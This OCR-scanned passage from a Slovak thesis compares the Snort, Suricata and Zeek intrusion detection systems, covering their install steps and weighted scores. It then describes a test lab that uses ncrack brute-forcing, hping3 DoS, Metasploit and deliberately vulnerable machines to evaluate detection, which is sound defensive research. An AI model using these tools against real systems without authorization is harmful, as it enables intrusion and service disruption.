aj antivirusové programy.

Vyhodou tohto typu detekcie je jej vysoka rychlost. Preto je mozné analy-
zovat viac paketov za mensi ¢as v porovnani s Anomaly-based IDS. Na druht
stranu méa tento pristup dve nevyhody. Nezndme tutoky tato analyza pravde-
podobne nezachyti a databdzu podpisov je potrebné pravidelne aktualizovat,
aby bolo mozné zachytit aj najnovsie zndme typy tutokov.

2.1.5 Anomaly-based IDS

Tento IDS dokéze zachytit aj nezndme typy utokov. VyuZiva na to Statistické
vlastnosti normdlnej sietovej prevadzky. To znamend, Ze IDS si vytvori re-
ferenény model doveryhodnej aktivity na zaklade informaécii ako st prene-
seny objem dat, protokoly, porty, IP adresy a podobne, ktoré nazbiera pocas
zvytajného chodu siete [22]. Rovnako moze byf na vytvorenie tohto modelu
pouZité strojové uéenie. Tento model sa potom porovniva so siefovou komu-
nikdciou v realnom éase a hlad4 odchylky.

Vyhodou tejto implementécie detekcie je fakt, Ze dokdZe rozoznat anomélie
v siefovej prevadzke a vdaka tomu upozornit aj na nezname typy ttokov,
pripadne dokonca rozoznat prichadzajici DoS?! ttok [23]. Nevyhodami tohto
pristupu s pomalsie spracovanie paketov oproti Signature-based IDS a tiez
vysSie mnozstvo false positive oznaceni, kedy je za podozrivii oznacCend aj
neskodnd komunikécia.

20Vyhradeny $pecificky pre tento téel.
21Denial of Service je imyselné prefazenie cielovej sluzby tak, Ze sa na fiu posle obrovsky
pocet poziadaviek a server ich nie je schopny spracovat.
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2.1.6 1IPS

Intrusion Prevention System je pokrocilejsi IDS, ktory je schopny okrem zapisu
udalosti do logu a zaslania upozornenia okamzite reagovat na podozrivé ak-
tivity v sieti. DokéZe vykonat opatrenia na zastavenie alebo prerusenie ne-
bezpeénej komunikacie. To moze urobit napriklad tak, Ze upravi pravidla vo fi-
rewalle, aby ju zablokoval, alebo moZe podozrivé pakety zahodit, ¢ zmenit
ich obsah a podobne. Tieto opatrenia je mozné definovat v podobe pravi-
diel. Nevyhoda IPS spociva v tom, Ze v pripade chyby moZe zablokovat aj
neskodnt komunikéciu, pretoze ju vyhodnoti ako podozrivi. Toto sa stava
najmé vtedy, ked je IPS eSte nevykalibrovany alebo prilis kratko nasadeny
na to, aby dokézal rozlisit neSkodni komunikdciu od nebezpecne;j.

2.2 Kritéria vyberu

Podla predchiadzajtcich definicii moézeme povedaft, Ze hladdme do firemného
prostredia NIDS, ked'Ze je potrebné monitorovat sietovii prevadzku mnohych
zariadeni medzi firemnym intranetom a verejnym internetom.

Pocas konzuldcie s vedtcim price sme na zaklade odporiucania kolegu
a podla d'alsich zdrojov [21] [24] vybrali troch favoritov medzi NIDS imple-
mentaciami:

e Snort
e Suricata
e Zeek

Zaroven boli pre vyber vifaza spomedzi tychto NIDS implementdcii defi-
nované nasledujice kritéria, ktoré urcuji, ¢o si budeme na jednotlivych kan-
didatoch vsimat. V zatvorke je ku kaZdému kritériu uvedené percentudlne
ohodnotenie, ktoré urcuje jeho vahu pri vybere:

[v. = 10%] Cena Ako pri kazdom produkte, aj tu je finanéna stranka doélezity
faktor. Nejde vsak iba o cenu samotného produktu alebo o cenu pridanej
funkcionality. Ide aj o cenu za jeho prevddzku a tdrzbu, ¢o je ludské
prica, ktort je potrebné zaplatit.

[ve = 10%] Dokumentéacia Sucastou kazdého dobrého softvéru by mala byt
kvalitnd dokumentdcia. Aby bolo jasné, ako ho pouzivat a v pripade
problémov rychlo najst rieSenie.

[vp = 40%] Pouzitelnost Zrozumitelny vystup, spesnost detekovanych tto-
kov, vykondvanie uréenej tilohy a jednoduchost pouZitia softvéru zaistuje

jeho pouzitelnost.
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2.3. Snort

[v, = 20%] Udrzba Zalohovanie, obnova, zmeny konfiguracie a upgradovanie
na noviu verziu st pravidelne vykonavané tlohy, ktoré by mali byt na-
vrhnuté tak, aby fungovali spolahlivo a vyzadovali primerané mnozstvo
casu na vykonanie.

[v, = 20%] Vlastnosti Prepracované ovladanie, funkéné uzivatelské rozhra-
nie, rychlost, moznosti rozsirenia o IPS & rozne integracie do produktov
tretich stran si vzdy uzitocné vlastnosti, ktoré mézu pri vybere rozho-
dovat.

Plati:
Zie{c,d,p,u,v} vi=1 (21)

Celkové hodnotenie h(a) pre NIDS « sa vypocita pomocou vzorca:

h(a) = Zie{c,d,p,u,v} vihi(a) (22)

Kde v; je vaha kritéria i, a h;(«) je hodnotenie kritéria i pre NIDS a.

KedZe téma IDS je velmi rozsiahla a komplexnd, dokladné a vy&erpavajice
porovnanie by bolo pre ucely tejto prace a zdujmov firmy neprimerané. Z tohto
dovodu bude porovnanie zamerané z velkej ¢asti na praktickt pouZitelnost
a uspesnost detekovanych ttokov v analyzovanom firemnom prostredi, ¢o
odréza aj vaha, ktord je priradend tomuto kritériu. Tymto bodom pouZitelnosti
sa vSak budu zaoberat az nasledujiice kapitoly.

T4to kapitola bude obsahovat blizSie predstavenie vlastnosti jednotivych
NIDS. Pozrieme sa na cenu, dostupnt dokumentaciu, popis procesov udrzby
v ramci nej a proces instaldcie. Systémy budi nainstalované na dedikovany
server s operacnym systémom Ubuntu 18.04.2.

Bolo by dobré, keby mal kazdy NIDS schopnost analyzovat pcap stibory
v offline rezime. To by umoznovalo preskocCenie konfiguricie online odpoc¢ivania
siefového rozhrania medzi itoénikom a cielmi v budticich kapitoldch. Namiesto
toho by sa utoky jednoducho zachytévali do pcap siborov a nésledne by sa
podrobili offline analyze kazdym zo systémov.

2.3 Snort

Popis

Martin Roesch vytvoril Snort v roku 1998 a neskor zalozil firmu Sourcefire
s tymto produktom. Tato bola v roku 2013 odkipené spoloénostou Cisco
Systems. T4 pontka komeréné produkty postavené na technoldgii Snortu
a predava pren aj zoznam pravidiel s okamzitymi aktualizaciami, ktoré su
po uplynuti tridsiatich dni dostupné pre verejnost.
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2. VYBER A INSTALACIA IDS

Snort je celosvetovo najpouzivanejsi IDS softvér a je vyvijany ako projekt
s otvorenym zdrojovym kédom a volnym pouzitim. Vd'aka tomu mé velkt
komunitu, ktora prispieva k jeho vyvoju, testovaniu a vylepsovaniu. To zaistuje
jeho stabilitu, funkénost a podporu.

Pontika funkcionalitu IPS, dokaZe analyzovat a logovat siefovii prevadzku
v realnom Case, je schopny analyzovat jednotlivé protokoly a vyhladdvat v nich
dany obsah. Mdze byt pouzity na detekciu celej rady ttokov, ako je napriklad
pretecenie vyrovnavacej paméte, utajené skenovanie portov, OS fingerprinting
a mnohé d'alSie [25].

Umoznuje mu to jeho engine, ktory je zaloZzeny na pravidlach a kombinuje
vyhody Signature a Anomaly-based metdd siefovej analyzy. Vd'aka tymto pra-
vidlam je flexibilny a uzivatel si moze sdm dodefinovaf pravidld presne tak,
ako potrebuje.

Snort mé vsak aj svoje slabé stranky. Medzi ne patri neschopnost tohto
systému rozpoznavat kontext siefovej prevadzky. To znamend Ze nedokéze
monitorovat spravanie uzivatelov a aplikdcii naprie¢ viacerymi paketmi. To
moze sposobit generovanie velkého mnozstva upozorneni, ktoré je potrebné
manuélne vyhodnotit [26].

Druhé nevyhoda je fakt, Ze Snort vo svojej najnovsej stabilnej verzii vyuziva
na svoju pracu iba jedno vldkno [24] a teda nie je schopny vyuzit viac jadier
na procesore??. To moze mat dopad na vykon a rychlost analyzy vicsieho
mnoZstva sietovej prevadzky.

Nakoniec je doleZité podotknif, Ze Snort je schopny analyzovat pcap

stibory v offline rezime?3.

Instalacia

aj vdaka vybornej dokumentacii>*. Najprv je potrebné nainstalovat celt radu
zavistlosti, ktoré Snort vyzaduje.

Takmer vSetky sa nachddzaju predpripravené v repozitaroch Ubuntu. Dve
bolo potrebné kompilovat zo zdrojového kédu. Jedna z nich bola pozadovana
az po neuspesnom spusteni prikazu ./configure. Na druhy krat uz prebehlo
vsetko bez problémov a Snort sa nainsStaloval vo verzii 2.9.13, ¢o sa da jed-
noducho overit pustenim prikazu snort -V.

Nasleduje konfigurdcia, ktord prebieha vytvorenim adresarovej struktiry
a skopirovanim pripravenych Sablén konfigura¢nych siborov do prislusnych
adresarov. Tie sa potom upravia a pridd sa trividlne pravidlo na detekciu

22 Aktualna stabilnd verzia je 2.9.13. V &ase pisania tejto prace vsak existuje Snort 3
v beta verzii, ktory uz dant funkcionalitu podporuje. Vid': https://www.snort.org/snort3

2nttps://wuw.snort.org/documents/snort-users-manual-html

2Instalaény manudl sa d4 jednoducho vyhladat na strankach dokumentécie podla cielovej
platformy a verzie Snortu tu: https://www.snort.org/documents
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2.4. Suricata

ICMP komunikécie, aby bolo mozné overit funkénost detekcie. Predtym sa
este validuje aktudlna konfiguracia prikazom:

snort -T -c /etc/snort/snort.conf

V domovskom adresari bol vytvoreny testovaci pcap subor obsahujici
ICMP komunikaciu. Pustenim prikazu:

snort -A console -q -c /etc/snort/snort.conf -r example.pcap

Vystupom o detekovanych ICMP paketoch sa overila funkénost offline de-
tekcie. Nakoniec je este potrebné pridat rulesety®® na detekovanie redlnych
hrozieb. Tie sa stahuji pomocou $pecidlneho programu nazyvaného Pulled-
Pork, ktory automatizuje ich stahovanie, instaldciu, updatovanie a kombino-
vanie.

Aby bolo mozné stiahnut najnovsi ruleset od skupiny Talos?® (predtym
znamy ako VRT ruleset), je potrebné vlastnit unikdtne &islo nazyvané Oin-
kecode, ktoré uzivatel bezplatne ziska po registracii na oficialnej stranke Snortu.
To sa po instalacii PulledPorku zadé do jeho konfiguracie a nasledne sa spusti
stahovanie pravidiel prikazom:

pulledpork.pl -c /etc/snort/pulledpork.conf -1

Vo vystupe je vidiet, Ze bolo stiahnutych viac ako Sestdesiattisic novych
pravidiel, ktoré PulledPork automaticky skombinoval do jedného konfigurac-
ného stiboru. Potom je potrebné pridat tento stibor do konfigurdcie Snortu
a otestovat ju. Po tispeSnom otestovani je Snort pripraveny na vykondvanie
svojej prace.

Niektoré volitelné ¢asti instaldcie ako napriklad konfiguricia sietového roz-
hrania, databdza na ukladanie upozorneni a grafické uzivatelské rozhranie boli
preskoené, pretoze na ticely tejto prace zatial postaéi zakladnd funkcionalita.

2.4 Suricata

Popis

Jednou z najpopuldrnejsich alternativ k Snortu je prave Suricata. T4 je rov-
nako ako Snort vyvijand s otvorenym zdrojovym kdédom, ktory je zdarma
dostupny pre kazdého. Jej velkd vyhoda vsak spoéiva v tom, Ze mé tplne
odlisny detekény engine. Vdaka tomu je lepSia v dvoch aspektoch, v ktorych
mal Snort nedostatky.

Prvym aspektom je to, Ze na svoje vypocty dokaZe vyuzivat viacero vldkien
procesora a dokonca aj grafické karty. To zabezpecuje jej lepSiu skdlovatelnost

25Tymto pojmom sa oznaduju skupiny pravidiel, ktoré detekuji hrozby.
2nttps://snort.org/talos
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a rychlost [27]. Druhou vyhodou je, ze Suricata analyzuje prevadzku na ap-
lika¢nej vrstve, ¢o jej umoZiiuje monitorovat kontext siefovej prevadzky. Vd'aka
tomu by mala byt schopné detekovat hrozby rozlozené vo viacerych paketoch.
Tento engine pouziva na analyzu Signature a Anomaly-based metédy podobne
ako Snort [21].

Suricata je tiez kompatibilnad so vstupom a vystupom Snortu a tym dokaze
vyuzit vyhody jeho velkej uzivatelskej zdkladne. Umoziiuje jej to pouzivat
rulesety, GUI aplikicie a databazu pre ukladanie vystupu, ktoré st napisané
pre Snort.

Dalsie vlastnosti Suricaty zahfnaja IPS engine, offline analyza pcap sibo-
rov, rozsiahla dokumentécia, filtrovanie upozorneni, konfiguracia a vystup
v standardnych formatoch ako si YAML a JSON. Dokaze tiez defragmento-
vat pakety a dekédovat komunikaciu na viacerych trovniach ISO/OSI modelu.
Vdaka tomu rozozn a dokéaZe analyzovat velké mnozstvo protokolov vratane
HTTP. Okrem toho mé eSte d'aldie vlastnosti a cely zoznam sa nachadza tu
[28].

Nevyhodou Suricaty je vicSia vypoctova zloZitost jej enginu. Z tohto dovo-
du potrebuje silny procesor v zavislosti na objeme dat, ktoré mé analyzovat.

Instalacia

Na instalaciu je pouzity instala¢ny manual, ktory je odkazovany priamo z hlav-
nej stranky projektu?’. Suricata poskytuje vlastny Ubuntu repozitar s pred-
pripravenymi instalacnymi balickami, ¢o redukuje instalacny proces do troch
prikazov:

add-apt-repository ppa:oisf/suricata-stable
apt-get update
apt-get install suricata

Tymto sa nainstalovala aktualna stabilnd verzia 4.1.3. Potom nasleduje
zékladnd konfiguracia, kde sa nastavi IP adresa siete a d'alSie veci ako napriklad
porty jednotlivych sluzieb. To je velmi podobné nastaveniam v Snorte.

Zaujimavé je tu konfiguracné ¢ast host-os-policy, kde sa mapujt IP ad-
resy na operacné systémy. Robi sa to z toho dévodu, ze kazdy operaé¢ny systém
spracovava fragmentované pakety a streamy trochu odlisnym spdsobom. Su-
ricata dokaZe vd'aka tomuto nastaveniu prispdsobif svoje spravanie tymto
anomaliam.

Dalsf krok je stiahnutie a nastavenie rulesetu. S tym nastal mensi problém,
pretoze link uvedeny v poznamke?” odkazuje na starsiu dokumentéciu a tam
sa ruleset instaluje este pomocou externého programu ako pri Snorte. Tymto

2"https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Quick_
Start_Guide
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2.5. Zeek

sposobom vSak overenie konfigurdcie Suricaty zlyhalo. Po chvili hladania sa
d4 néjst nova dokumentécia®, kde sa na tento ticel pouziva uz néstroj integ-
rovany priamo do Suricaty a jednoduchym spustenim prikazu:

suricata-update

sa stiahne a aplikuje najnovsi ruleset. Standardne tento prikaz stahuje ru-
leset Emerging Threats Open od spolo¢nosti Proofpoint?”. Je vSak mozné na-
konfigurovat aj pouzitie spominaného Talos rulesetu s Oinkcodeom zo Snortu.

Nakoniec stacf uz len overit spravnost konfigurdcie a nechat Suricatu pre-
verit testovaci pcap stbor spustenim prikazov:

suricata -c /etc/suricata/suricata.yaml -T
suricata -c /etc/suricata/suricata.yaml -r example.pcap

Teraz uz vsetko prebehlo bez problémov a Suricata je pripravena na tes-
tovanie. Jej instaldcia bola znac¢ne jednoduchsia a rychlejsia ako pri Snorte.

2.5 Zeek

Popis

Prave kvoli jeho akademickému pozadiu a pévodu je Zeek tiplne odlisny od stan-
dardnych NIDS. Projekt s pévodnym nazvom Bro, ktory zacal ako vyskum

na univerzite totiZ implementuje unikatny pristup k siefovej analyze. Nespo-

lieha sa na ziadnu konkrétnu deteként metdédu a ani na tradiéné signatiry

ako predchadzajice implementacie.

Hlavnd cast jeho funkcionality pochédza z experimentdlnych vyskumov
na akademickej pdde, ktoré boli integrované do jedného fungujiceho celku.
Vyskumy nad’alej pokrac¢ujii a mozno budi ¢asom implementované do Zeeku
[29].

Zeek nehladd v siefovej prevadzke iba podozrivé spravanie, ale analyzuje
ju ako postupnost udalosti a udrziava si jej rozsiahly stav na tirovni aplikacnej
vrstvy. Vdaka tomu poskytuje vyssi prehlad o sietovej aktivite [30].

Jeho engine pozostdva z dvoch casti. Prva cast vytvara podrobné logy
o sietovej previadzke v podobe udalosti. Udalostou je napriklad nadviazanie
TCP spojenia, prihlasenie sa na FTP server alebo HI'TP poziadavka. V dru-
hej ¢asti je nad tymito udalostami vykondvand analyza podla definovanych
skriptov napisanych v §pecidlnom jazyku Bro. Tie sa daji lubovolne upravovat
a je ich mozné do istej miery prirovnat k rulesetom zo Snortu.

2https://suricata.readthedocs.io/en/latest/index.html
D4 sa nainstalovat aj do Snortu. Viac informécif: https://www.proofpoint.com/us/
products/et-intelligence
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To umoziiuje monitorovat roznorodu aktivitu. Tymito skriptami sa napri-
klad hladaji vzory spravania zariadeni v sieti a odchylky od tohto Standardu
predstavujui podozrivi aktivitu. Po zachyteni podozrivej aktivity je vykonand
reakcia, ¢o implementuje IPS funkcionalitu [31].

Zeek mé aj d'alSie vlastnosti ako napriklad podpora velkého poétu proto-
kolov, offline analyza pcap stborov, export dat do d'alsich aplikécii, rastica
komunita, podpora clusterov, skdlovatelnost a vysoky vykon [32]. Jeho slabymi
strankami st menej privetivé uzivatelské rozhranie a komplikovanejsia konfi-
gurdcia [24].

Instalacia

Odkaz na instalaény manudl® sa dé jednoducho néajst priamo na hlavnej

stranke projektu. KedZe Zeek, podobne ako Suricata, podporuje instaldciu
predpripravenych balickov z vlastného Ubuntu repozitara, je instalacia rov-
nako jednoducha:

echo ’deb http://download.opensuse.org/repositories/network:
/bro/xUbuntu_18.04/ /’> > /etc/apt/sources.list.d/bro.list

curl http://download.opensuse.org/repositories/network:/bro/
xUbuntu_18.04/Release.key | apt-key add -

apt-get update

apt-get install bro

Takto sa nainstalovala posledna stabilnd verzia 2.6.1. Tu je vhodné po-
znamenat, Ze prvy pokus instaldcie podla dokumentécie zlyhal, kedZe v nej
bol uvedeny neexistujuici repozitar pre Ubuntu 17.04 (najaktudlnejsia uvedend
verzia). Po dokladnejsom prestudovani stranky je na nej mozné najst link
priamo na zoznam dostupnych repozitarov, kde sa Ubuntu 17.04 nenachadza,
ale je tam Ubuntu 18.04 a tiez Ubuntu 18.10.

KedZe Zeek sa tymto sposobom nainstaluje do adresira /opt/bro, je
pre priamy pristup k jeho bindrnym stiborom potrebné pridaf tito cestu
do systémovej premennej PATH:

echo ’export PATH="$PATH:/opt/bro/bin"’ > /etc/profile.d/bro.sh

Teraz nasleduje konfigurdcia siefového rozhrania, lokdlnych sieti, rotdcia
logov a posielanie mailov, ktoré bude pre testovacie ticely vypnuté. Na spravo-
vanie clustera ale aj jednej instancie Zeeku sa pouziva program broctl, ktory
interpretuje prikazy podobne ako shell. Po jeho spusteni sa zobrazi prompt
[BroControl] > a pri prvom spusteni je potrebné zadat prikaz install.

3nttps://docs.zeek.org/en/stable/install/install.html
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2.6. Porovnanie

Dalsie zékladné prikazy si start a stop, ktoré ovlddajui beh Zeeku na po-
zadi ako systémového daemona. Posledné vec, ktort je potrebné otestovat je
analyza testovacieho pcap suboru:

bro -r example.pcap

Tento prikaz vytvori logy v aktudlnom pracovnom adresari, takze je vhodné
pred jeho spustenim vytvorif novy adresir a prepnit sa do neho. Inicia-
lizacia, nastartovanie, zastavenie aj testovaci chod Zeeku prebehli v poriadku.
Instalacény proces Zeeku bol aj napriek komplikécii najjednoduchsi zo vsetkych
troch a v podstate funguje priamo out-of-the-bozx.

2.6 Porovnanie

Po blizsom predstaveni, instalacii a vyskusani jednotlivych rieseni ich teraz
porovndme vo vSetkych definovanych kritéridch okrem pouzitelnosti, ktorej
bude venovand samostatnd kapitola neskor v tejto praci.

Dokumentacia

V pripade Snortu je dokumentacia na vybornej arovni. Aktualizovand, struk-
tirovand, vycerpavajica a novy uzivatel nemé problém sa v nej zoriento-
vat, a najst presne to, ¢o potrebuje. NavySe md velkii komunitu a di sa
o fiom néjst mnoZstvo informécii na internete. Jedind nevyhoda je, Ze ne-
obsahuje ziadne informécie o délezitom procese upgradovania, ktoré ostatné
NIDS maji. Preto dostane hodnotenie 90%.

Suricata ma v dokumentdcii jednu velkd nevyhodu a tou je jej rozdele-
nie do dvoch casti, kde jedna stard odkazuje na druht novi a naopak. To
sposobuje nepresnosti a neprehladnost, pricom je eSte stara ¢ast neaktualizo-
vanid. Mimo toho je novd dokumentécia vyborne Struktirovand a obsahuje
vSetky potrebné informacie, takze v kone¢nom doésledku to nie az je také
zdvazné. Dokumentécia Suricaty si zasltzila hodnotenie 90%.

Zeek je na tom o nieco lepsie ako zvysné dve riesenia. Jeho dokumentéacia
ohladne instaldcie je sice neaktualizovand, ale to samo o sebe nie je aZ taky
velky problém vzhladom na fakt, Ze obsahuje link na dostupné repozitare, ¢o
tato chybu naprava. Okrem toho je jeho dokumentacia na vybornej tirovni, ob-
sahuje vSetky potrebné informécie a je naozaj podrobnd. To Zeeku zabezpecilo
hodnotenie 95%.

Udrzba
Zalohovanie a obnova st u vSetkych troch rieSeni velmi podobné a v pod-

state pozostavaji zo zalohy konfigura¢nych siborov a ich obnovy. Okrem
toho v pripade existencie vlastnych skriptov je potrebné zalohovat este aj tie.
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To sa d4 jednoduchym sposobom zautomatizovat a zaberie to zanedbatelné
mnozstvo ¢asu. Rozdiely vsak nastavaju pri zmenach konfiguracie a upgrado-
vani, kde maji jednotlivé riesenia dost odlisné pristupy.

Nejde tu ani tak o zakladni konfiguraciu a stiahnutie rulesetov, ale o do-
datocné pravidl4 a skripty. V pripade Snortu poskytuje velké mnozstvo novych
pravidiel jeho komunita [21]. Ak sa tam pozadované pravidlo nenachidza,
moze si ho uzivatel sam zadefinovat v jazyku, ktory ma jednoduchii a priamo-
¢iaru syntax, chyba tu vSsak podpora komplexnejSieho skriptovania. Suricata
moze vyuzit vSetky vyhody Snortu a okrem toho este poskytuje dodatoént
podporu skriptovania vyuzitim jazyka Lua, pre definovanie komplexnejsich
pravidiel [28].

Zeek je na tom o nieco horSie, pretoze ma Uplne odlisni architektiru
a vlastny jazyk, a tak nemoze vyuzit pravidla zo Snortu alebo Suricaty. Ko-
munita tu je mensia a preto nie je k dispozicii také velké mnoZstvo pravidiel
a vicésinou si ich musi uzivatel definovat sam. Tieto pravidla sa definuji v ja-
zyku Bro, ktory je narocny a vyzaduje dokladnejsie stidium. Achitektiara Ze-
eku je komplexnejsia v porovnani so Snortom a Suricatou, a preto sa pripadné
konfiguraéné zmeny ¢asovo narocnejsie [31].

Co sa tyka upgradovania na novt verziu, tak tu je na tom najhorsie jed-
noznac¢ne Snort, ked'Ze sa kompiluje priamo zo zdrojového kédu a tym padom
je potrebné tento proces absolvovat pri kazdej novej verii. Suricata tak isto
ako Zeek poskytuju softvérové balicky z vlastnych repozitarov a tak je upg-
rade na novi verziu trividlny. Tieto dovody priniesli Snortu hodnotenie 85%,
Suricate 100% a Zeeku 70%.

Vlastnosti

Vsetky tri implementécie st Standardne nainstalované bez grafického uzivatel-
ského rozhrania a lisia sa v tom, aké maji moznosti integracie s aplikdciami
tretich stran.

Snort a Suricata maju tychto moznosti celd radu [21] [28], zatial ¢o Zeek
m4 tieto moznosti obmedzené [31]. Naopak m4d Zeek z hladiska architekttry
enginu, moznosti skriptovania a price s datami obrovsky potencial na lepsie
prisposobenie a podrobnejsie celkové monitorovanie siete nez zvysné dve riese-
nia, ¢o si vSak vyzaduje mnozstvo prace navyse. Pokrocila skriptovaciu fun-
kcionalitu pontika aj Suricata.

Snort najviac zaostava z uz spominaného hladiska skalovatelnosti a roz-
pozndvania kontextu sietovej komunikdcie, ¢o st dva podstatné faktory. Na-
koniec je eSte dobre spomentit moznost zakipenia neustile aktualizovanych
pravidiel do Snortu a Suricaty, ¢o je pre ochranu pred novymi hrozbami velmi
dolezité. Zeek taktito moznost nemd a spolieha sa v tomto pripade na svoj
engine a detekciu anomalii.

Snort so svojimi nedostatkami dostal 70%, jednoznaény lider je tu Suricata,
ktor si vyslizila 100%, ked Ze jej prakticky nie je ¢o vytknut a Zeek m4 v tejto
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2.6. Porovnanie

Tabulka 2.1: Priebezné hodnotenie vybranych NIDS rieseni.

’ ‘ Dokumentacia ‘ Udrzba ‘ Vlastnosti ‘ Cena ‘ > ‘

Snort 90% 85% 70% 90% | 49%
Suricata | 90% 100% 100% 100% | 59%
Zeek 95% 70% 50% 5% | 41%

kategérii velké nedostatky, preto iba 50%.

Cena

Vsetky tri riesenia st tplne zadarmo. Snort a Suricata okrem toho pontkaji
neustédle aktualne pravidld za nejaky poplatok, ¢o je volitelné. Okrem tychto
nikladov je vsak potrebné zvazif aj cenu za instaldciu, konfigurdciu a idrzbu
tychto systémov.

Vsetky tieto faktory boli pocas kapitoly podrobne popisané a hodnotenie
dostali prevazne na tomto zdklade. Snort ziskal 90% kvoli horSiemu procesu
upgradovania. Suricata dostala 100% pretoze jej instaldcia a proces upgra-
dovania je jednoduchy, a rovnako nendro¢ns by mala byt aj jej konfiguracia
a udrzba. Nakoniec Zeek dostal 75%, kvoli svojej komplexnosti a narocnosti
konfiguracie a udrzby, avsak pomohol mu fakt, Ze jeho instalacia je skuto¢ne
trividlna a nevyzaduje ¢asté updaty. Priebezné dosiahnuté hodnotenie jednot-
livych NIDS systémov podla ohodnotenych kritérii je zhrnuté v tabulke 2.1.
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KAPITOLA

Priprava testovacieho prostredia

Na zaklade vysledkov analyzy v kapitole 1 bude pripravené prostredie na otes-
tovanie téinnosti vybranych NIDS rieseni. Toto prostredie bude pozostavat
z troch poéitac¢ov. Na dvoch z nich sa budt nachddzat najpocetnejsie zasttipené
operacné systémy v analyze, to znamend Windows a Linux, a budd predsta-
vovat zranitelné ciele titokov. Okrem tychto dvoch serverov sa bude v pro-
stredi nachddzat eSte pocitaé, z ktorého budi vykonané titoky. Na ten bude
nainstalovany volne dostupny softvér uréeny na penetraéné testovanie a sieto-
vl analyzu. Jednd sa o tieto nastroje:

e nmap
e ncrack
e hping3
e Metasploit

Na cieloch budd podla vysledkov analyzy nainstalované vybrané sluzby.
KedZe tlohou tejto prace je zistit do akej miery st zvolené NIDS imple-
mentdcie schopné detekovat zndme utoky a na zdklade toho ich porovnat,
budt jednotlivé sluzby nainstalované a nakonfigurované umyselne tak, aby
bolo mozné ttoky vykonat. To bude zaroven aj kritériom ich vyberu, a teda
budd vybrané iba sluzby, na ktoré je mozné zatto¢it pomocou beznjch pe-
netracnych nastrojov.

KedZe podla predchadzajticej kapitoly vSetky vybrané NIDS implement4-
cie dokdzu analyzovat zachytent siefovii prevadzku v offline rezime, bude
pocas vykondvania jednotlivych ttokov sietova prevadzka nahrdvani pomo-
cou programu tcpdump pre Linux a pomocou Wiresharku pre Windows. Kazdy
titok bude nahraty na strane ciela do svojho vlastného stiboru vo formate pcap.
Tieto subory budu nésledne analyzované kazdym z NIDS systémov. Tento
pristup so sebou prindsa dve vyhody. Prvou je zjednodusenie konfiguracie tes-
tovacieho prostredia a samotnych NIDS, pretoZe u nich odpadé nutnost konfi-
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3. PRIPRAVA TESTOVACIEHO PROSTREDIA
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Obr. 3.1: Schéma testovacieho prostredia.

guracie odpo¢iivania siefovych rozhrani serverov. Druhou vyhodou je moznost
d'alSieho vyuZitia tychto pcap stiborov na iné téely. Celé testovacie prostredie
ilustruje obrazok 3.1.

Teraz budt podrobnejsie popisané programy, nastroje a operacné systémy;,
ktoré budi v testovacom prostredi pouzité. Vynimku tvori program nmap,

ktory bol predstaveny v kapitole 1. Samotnym priebehom ttokov a testovanim
NIDS sa bude zaoberat nasledujiica kapitola.
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3.1. Utoénik

3.1 Utocnik
ncrack

Tento program je schopny extrémne rychlo ldmat prihlasovacie tidaje do sluzieb
v sieti metédou bruteforce. To znamend, Ze sa sktiSa prihldsit pouzitim vSetkych
moznych kombinécii prihlasovacich idajov, ktoré st dopredu zadané v jeho pa-
rametroch. To je uzitoéné napriklad pre zvysovanie a testovanie bezpec¢nosti
siete hladanim slabych hesiel.

Tento program je projekt vyvojarov nmapu. DokaZe testovat viacero hos-
tov naraz, umoziiuje kontrolovat intenzitu odosielania prihlasovacich tdajov
a podporuje viacero protokolov, ktoré zahfnaji ssh, rdp a vac [33]. M4 ot-
voreny zdrojovy kéd3! a instaldcia prebieha jeho kompildciou na cielovom
systéme.

hping3

Siefovy néstroj hping3 dokdze odosielat Specificky upravené TCP/IP pa-
kety a zobrazovat odpovede podobne ako zndmy prikaz ping, ktorym bol
inSpirovany. Na rozdiel od neho vSak dokaze odosielat nielen ICMP, ale aj
TCP, UDP a d'aliie druhy paketov. DokaZe tieZ lubovolne upravovat hlavicky,
fragmentéciu, telo a velkost paketov ako aj rychlost ich odosielania. To je
uzito¢né v celej rade pouziti, ako je testovanie firewallovych pravidiel, skeno-
vanie portov, testovanie vykonu siete, traceroute, firewalking a podobne [34].
Zdrojovy kod néstroja hping3 je volne dostupny na internete? a mal by sa
daf tieZ jednoducho nainstalovat pomocou spravcu balickov v kazdej vicsej
linuxovej distribticii. Vdaka jeho schopnosti extrémne rychleho odosielania
upravenych paketov bude v tejto praci pouzity na vykonanie DoS ttokov.

Metasploit

Rozhranie urcené na penetracné testovanie Metasploit obsahuje databazu s in-
forméciami o bezpecnostnych zranitelnostiach roznych druhov softvéru a ope-
raénych systémov. Zaroven dokdze pomocou modulov tieto zranitelnosti zne-
uzit na ziskanie tajnych informécii alebo neopravneného pristupu. Je mo-
duldrne, velmi flexibilné a robustné [35]. Vd'aka tomu je toto rozhranie celo-
svetovo najpouzivanejsie vo svojej kategérii [36].

Jeho pouzitiu predchddza zozbieranie informacii o cieli napriklad pomo-
cou programu nmap. Ndsledne sa tieto informdcie pouziji na vyhladanie zra-
nitelnost{ v databdze modulov. Potom sa zvoli konkrétny modul, nastavia sa
mu potrebné parametre a vykona sa jeho kéd. Po tspesnom vykonani ziska
utocnik pristup k zabezpecenym informaciam, siitborom alebo uc¢tom.

3nttps://github.com/nmap/ncrack
32nttps://github.com/antirez/hping
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3. PRIPRAVA TESTOVACIEHO PROSTREDIA

Metasploit je vyvijany spolo¢nostou Rapid733 a opensourcovou komuni-

tou. Vdaka tomu je neustale aktualizovany a pribidajt nové moduly. K dis-
pozicii st dve verzie. Prvé je volne dostupné na stiahnutie3* a mé jednoducht
instalaciu. Tato bude pouzita v praci na vykonanie véacsiny utokov. Druha je
platend, avsak poskytuje pridant funkcionalitu.

3.2 Ciele

Na internete sa nachddza velké mnozstvo timyselne zranitelnych virtualnych
strojov3®, ktoré obsahuji opera¢ény systém a softvér nakonfigurovany takym
sposobom, aby bolo mozné vyuzit ich zranitelnosti na prelomenie zabezpecenia.
Ich dcelom je ucenie, predvedenie a trénovanie schopnosti penetracnych teste-
rov. Dokonca existuji stroje s roznymi obtiaznostami zabezpeéenia a tak st
vhodné pre zaciato¢nikov, ale aj expertov.

V tejto praci budit pouzité dva virtudlne stroje vytvorené spoloénostou
Rapid7, ktora vyvija Metasploit, ako ciele na simulovanie Gtokov na firemnt
infragtruktiru. Teraz bude popisany softvér, ktory bude na tychto cieloch
pouzity.

tcpdump & Wireshark

Oba tieto programy sltzia na zachytavanie a analyzu paketov v prevadzke
